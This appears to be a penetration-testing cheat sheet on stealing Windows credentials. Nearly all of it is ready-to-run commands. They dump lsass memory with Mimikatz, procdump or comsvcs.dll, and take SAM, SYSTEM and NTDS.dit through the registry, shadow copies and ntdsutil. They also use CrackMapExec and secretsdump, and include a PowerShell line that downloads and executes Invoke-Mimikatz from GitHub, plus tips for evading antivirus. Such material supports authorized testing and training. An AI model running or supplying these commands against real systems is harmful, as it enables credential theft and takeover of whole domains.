11 KiB
Stealing Credentials
Credentials Mimikatz
#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
token::elevate
#Extract from lsass (memory)
sekurlsa::logonpasswords
#Extract from SAM
lsadump::sam
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"
Find other things that Mimikatz can do in this page.
Invoke-Mimikatz
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
Learn about some possible credentials protections here. This protections could prevent Mimikatz from extracting some credentials.
Credentials with Meterpreter
Use the Credentials Plugin that I have created to search for passwords and hashes inside the victim.
#Credentials from SAM
post/windows/gather/smart_hashdump
hashdump
#Using kiwi module
load kiwi
creds_all
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam"
#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::sam"
Bypassing AV
Procdump + Mimikatz
As Procdump from SysInternals is a legitimate Microsoft tool, it's not detected by Defender.
You can use this tool to dump the lsass process, download the dump and extract the credentials locally from the dump.
{% code title="Dump lsass" %}
#Local
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount https://live.sysinternals.com which contains procdump.exe
net use Z: https://live.sysinternals.com
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
{% endcode %}
{% code title="Extract credentials from the dump" %}
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords
{% endcode %}
This process is done automatically with SprayKatz: ./spraykatz.py -u H4x0r -p L0c4L4dm1n -t 192.168.1.0/24
Note: Some AV may detect as malicious the use of procdump.exe to dump lsass.exe, this is because they are detecting the string "procdump.exe" and "lsass.exe". So it is stealthier to pass as an argument the PID of lsass.exe to procdump instead of the name lsass.exe.
Dumping lsass with comsvcs.dll
There’s a DLL called comsvcs.dll, located in C:\Windows\System32 that dumps process memory whenever they crash. This DLL contains a function called MiniDumpW that is written so it can be called with rundll32.exe.
The first two arguments are not used, but the third one is split into 3 parts. First part is the process ID that will be dumped, second part is the dump file location, and third part is the word full. There is no other choice.
Once these 3 arguments has been parsed, basically this DLL creates the dump file, and dumps the specified process into that dump file.
Thanks to this function, we can use comsvcs.dll to dump lsass process instead of uploading procdump and executing it. This information was extracted from [https://en.hackndo.com/remote-lsass-dump-passwords/](https://en.hackndo.com/remote-lsass-dump-passwords/)
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full
We just have to keep in mind that this technique can only be executed as SYSTEM.
You can automate this process with lssasy.
CrackMapExec
Dump SAM hashes
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
Dump LSA secrets
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
Dump the NTDS.dit from target DC
cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
Dump the NTDS.dit password history from target DC
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
Show the pwdLastSet attribute for each NTDS.dit account
#~ cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
Stealing SAM & SYSTEM
This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.
From Registry
The easiest way to steal those files is to get a copy from the registry:
reg save HKLM\sam sam
reg save HKLM\system system
Download those files to your Kali machine and extract the hashes using:
samdump2 SYSTEM SAM
Volume Shadow Copy
You can perform copy of protected files using this service. You need to be Administrator.
Using vssadmin
vssadmin binary is only available in Windows Server versions
vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
#Copy SYSTEM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit
# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
But you can do the same from Powershell. This is an example of how to copy the SAM file the hard drive used is "C:" and its saved to C:\users\Public but you can use this for copying any protected file:
$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}
Code from the book: https://0xword.com/es/libros/99-hacking-windows-ataques-a-sistemas-y-redes-microsoft.html
Invoke-NinjaCopy
Finally, you could also use the PS script Invoke-NinjaCopy to make a copy of SAM, SYSTEM and ntds.dit.
Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"
Active Directory Credentials - NTDS.dit
The Ntds.dit file is a database that stores Active Directory data, including information about user objects, groups, and group membership. It includes the password hashes for all users in the domain.
The important NTDS.dit file will be located in: %SystemRoom%/NTDS/ntds.dit
This file is a database Extensible Storage Engine ESE and is "officially" composed by 3 tables:
- Data Table: Contains the information about the objects
users, groups... - Link Table: Information about the relations
member of... - SD Table: Contains the security descriptors of each object
More information about this: http://blogs.chrisse.se/2012/02/11/how-the-active-directory-data-store-really-works-inside-ntds-dit-part-1/
Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. Then, part of the NTDS.dit file could be located inside the lsass memory you can find the lastet accessed data probably because of the performance impruve by using a **cache**.
Decrypting the hashes inside NTDS.dit
The hash is cyphered 3 times:
- Decrypt Password Encryption Key
**PEK**using the BOOTKEY and RC4. - Decrypt tha hash using PEK and RC4.
- Decrypt the hash using DES.
PEK have the same value in every domain controller, but it is cyphered inside the NTDS.dit file using the BOOTKEY of the SYSTEM file of the domain controller (is different between domain controllers). This is why to get the credentials from the NTDS.dit file you need the files NTDS.dit and SYSTEM _C:\Windows\System32\config\SYSTEM_.
Copying NTDS.dit using Ntdsutil
Available since Windows Server 2008.
ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit
You could also use the volume shadow copy ****trick to copy the ntds.dit file. Remember that you will also need a copy of the SYSTEM file again, [**dump it from the registry or use the volume shadow copy**](./#stealing-sam-and-system) ****trick.
Extracting hashes from NTDS.dit
Once you have obtained the files NTDS.dit and SYSTEM you can use tools like secretsdump.py to extract the hashes:
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile credentials.txt
You can also extract them automatically using a valid domain admin user:
secretsdump.py -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>
For big NTDS.dit files it's recommend to extract it using gosecretsdump.
Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject
Lazagne
Download the binary from here. you can use this binary to extract credentials from several software.
lazagne.exe all
Other tools for extracting credentials from SAM and LSASS
Windows credentials Editor WCE
This tool can be used to extract credentials from the memory. Download it from: http://www.ampliasecurity.com/research/windows-credentials-editor/
fgdump
Extract credentials from the SAM file
You can find this binary inside Kali, just do: locate fgdump.exe
fgdump.exe
PwDump
Extract credentials from the SAM file
You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x 127.0.0.1
type outpwdump
PwDump7
Download it from: http://www.tarasco.org/security/pwdump_7 and just execute it and the passwords will be extracted.